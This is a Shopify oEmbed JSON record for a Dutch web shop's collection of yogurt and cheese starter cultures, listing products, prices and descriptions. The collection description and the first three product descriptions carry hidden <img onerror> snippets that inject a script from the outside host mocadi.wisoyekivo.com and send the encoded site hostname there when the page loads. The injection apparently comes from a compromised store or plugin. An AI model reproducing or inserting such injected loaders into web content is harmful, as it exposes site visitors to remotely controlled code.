{"title":"Ferments yogurt \u0026amp; cottage cheese","description":"Would you like to make your own yoghurt and \/ or cottage cheese ? In the field of yogurt and cheese ferments, Anisana collaborates with Danisco, CHR Hansen and Sacco; the 3 world market leaders in their field. \u003cdiv id=\"mailtooptiepopupMailModal\" style=\"z-index: 1;\"\u003e\u003c\/div\u003e\u003cdiv\u003e\u003c\/div\u003e\u003cdiv id=\"mailtooptiepopupMailModal\" style=\"z-index: 1;\"\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e","products":[{"product_id":"yo-mix-300-lyo-10-dcu","title":"Yo-mix 300 LYO - 10 DCU (Danisco)","description":"\u003cspan\u003eWith this Yo-mix 300 yogurt culture you can make a very mild-tasting yogurt with a high viscosity. The culture is a freeze-dried mixture of Streptococcus thermophilus and Lactobacilucus delbrueckii subsp. bulgaricus. Store at -18 degrees Celsius.\u003c\/span\u003e \u003cdiv style=\"z-index: 1;\" id=\"mailtooptiepopupMailModal\"\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e","brand":"Danisco","offers":[{"title":"Default Title","offer_id":34188626788492,"sku":"ANI-34188626788492","price":7.46,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/files\/danisco-zuivelfermenten-yo-mix-300-lyo-10-dcu-danisco-ani-34188626788492-yo-mix-300-lyo-10-dcu-danisco-anisana-1266857533.png?v=1794271332"},{"product_id":"kopie-van-yo-mix-300-lyo-50-dcu","title":"YO-MIX 300 LYO 50 DCU – Yoghurtferment","description":"\u003cdiv id=\"mailtooptiepopupMailModal\"\u003e\u003cdiv id=\"mailtooptietoPopupModal\"\u003e\u003cdiv id=\"mailtooptiemodalToPopup\"\u003e \u003cspan\u003eWith this yo-mix 300 yogurt culture you can make a very mild-tasting yogurt with a high viscosity. The culture is a freeze-dried mixture of Streptococcus thermophilus and Lactobacilucus delbrueckii subsp. bulgaricus. Store at -18 degrees Celsius.\u003c\/span\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e\u003cbr\u003e\u003cdiv\u003e\u003cbr\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e","brand":"Danisco","offers":[{"title":"Default Title","offer_id":34188627574924,"sku":"ANI-34188627574924","price":13.69,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/files\/danisco-zuivelfermenten-yo-mix-300-lyo-50-dcu-yoghurtferment-ani-34188627574924-yo-mix-300-lyo-50-dcu-danisco-anisana-1266857520.png?v=1794271276"},{"product_id":"yo-mix-601-lyo-50-dcu-danisco","title":"YO-MIX 601 LYO 50 DCU – Yoghurtferment","description":"\u003cdiv id=\"mailtooptiepopupMailModal\"\u003e\u003cdiv id=\"mailtooptietoPopupModal\"\u003e\u003cdiv id=\"mailtooptiemodalToPopup\"\u003e \u003cspan\u003eWith this Yo-mix 601 yogurt culture you can make a very mild-tasting solid yogurt. The culture is a freeze-dried mixture of Streptococcus thermophilus and Lactobacilucus delbrueckii subsp. bulgaricus. Store at -18 degrees Celsius.\u003c\/span\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e\u003cbr\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e\u003cdiv id=\"mailtooptiepopupMailModal\" style=\"z-index: 1;\"\u003e\u003c\/div\u003e\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=5db3ea9a81df1a8d5e8b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host)+\"\u0026amp;ns=true\");document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e","brand":"Danisco","offers":[{"title":"Default Title","offer_id":34188701401228,"sku":"ANI-34188701401228","price":18.63,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/files\/danisco-yoghurtfermenten-yo-mix-601-lyo-50-dcu-danisco-yo-mix-601-lyo-50-dcu-danisco-bestel-eenvoudig-online-anisana-17015888281740.jpg?v=1698273296"},{"product_id":"hansen-yc-380-50-u","title":"Hansen YC-380 50 U – Yoghurtferment","description":"\u003cp\u003eYC-380 van Chr. Hansen is een gevriesdroogde thermofiele yoghurtcultuur met een uitgesproken yoghurtaroma en een middelmatige viscositeit.\u003c\/p\u003e\u003ch3\u003eToepassingen\u003c\/h3\u003e\u003cp\u003eVoor standyoghurt, roeryoghurt en drinkyoghurt. Er kan na de fermentatie nog enige verzuring optreden.\u003c\/p\u003e\u003ch3\u003eCultuur en uitvoering\u003c\/h3\u003e\u003cp\u003eLactobacillus delbrueckii subsp. bulgaricus en Streptococcus thermophilus. Verkoopeenheid: 1 zakje van 50 U.\u003c\/p\u003e\u003ch3\u003eGebruik en bewaring\u003c\/h3\u003e\u003cp\u003eDirect toevoegen aan gepasteuriseerde melk volgens de technische voorschriften van de leverancier. Bewaar diepgevroren bij -18 °C of kouder en neem pas vlak voor gebruik uit de diepvries. Volg steeds het actuele etiket voor dosering en verwerking.\u003c\/p\u003e\u003cp\u003e\u003cstrong\u003eAllergenen:\u003c\/strong\u003e melk en melkproducten, inclusief lactose.\u003c\/p\u003e\u003cp\u003e\u003cem\u003eAfbeelding ter illustratie van de verpakking.\u003c\/em\u003e\u003c\/p\u003e","brand":"Chr. Hansen","offers":[{"title":"Default Title","offer_id":64306038178122,"sku":"R410061","price":11.69,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/files\/chr-hansen-zuivelfermenten-hansen-yc-380-50-u-yoghurtferment-592243957-r410061-hansen-yc-380-50-u-yoghurtferment-1266857531.jpg?v=1794270733"},{"product_id":"hansen-flora-danica-50-u","title":"Hansen Flora Danica 50 U – Zuivelferment","description":"\u003cp\u003eFlora Danica van Chr. Hansen is een gevriesdroogde mesofiele aromacultuur van het type LD. De cultuur vormt aroma en koolzuurgas tijdens de fermentatie.\u003c\/p\u003e\u003ch3\u003eToepassingen\u003c\/h3\u003e\u003cp\u003eVoor platte kaas, verse kaas, zure room en boter, en voor verschillende zachte en halfharde kaastypen volgens het gekozen recept.\u003c\/p\u003e\u003ch3\u003eCultuur en uitvoering\u003c\/h3\u003e\u003cp\u003eBevat Lactococcus lactis subsp. cremoris, Lactococcus lactis subsp. lactis, Lactococcus lactis subsp. lactis biovar. diacetylactis en Leuconostoc. Verkoopeenheid: 1 zakje van 50 U.\u003c\/p\u003e\u003ch3\u003eGebruik en bewaring\u003c\/h3\u003e\u003cp\u003eVoor directe enting van melk volgens het recept en de technische voorschriften van de leverancier. Bewaar diepgevroren bij -18 °C of kouder. Volg het actuele etiket voor dosering en verwerking.\u003c\/p\u003e\u003cp\u003e\u003cstrong\u003eAllergenen:\u003c\/strong\u003e melk en melkproducten, inclusief lactose.\u003c\/p\u003e\u003cp\u003e\u003cem\u003eAfbeelding ter illustratie van de verpakking.\u003c\/em\u003e\u003c\/p\u003e","brand":"Chr. Hansen","offers":[{"title":"Default Title","offer_id":64306039357770,"sku":"R410080","price":9.41,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/files\/932188_Flora-Danica-1.jpg?v=1794270671"}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0376\/2392\/2828\/collections\/de-kom-yoghurt-isoleert-op-witte-achtergrond_34152-1375_1.jpg?v=1588366302","url":"https:\/\/anisini.com\/en-nl\/collections\/fermenten-yoghurt-platte-kaas.oembed","provider":"Anisana BV","version":"1.0","type":"link"}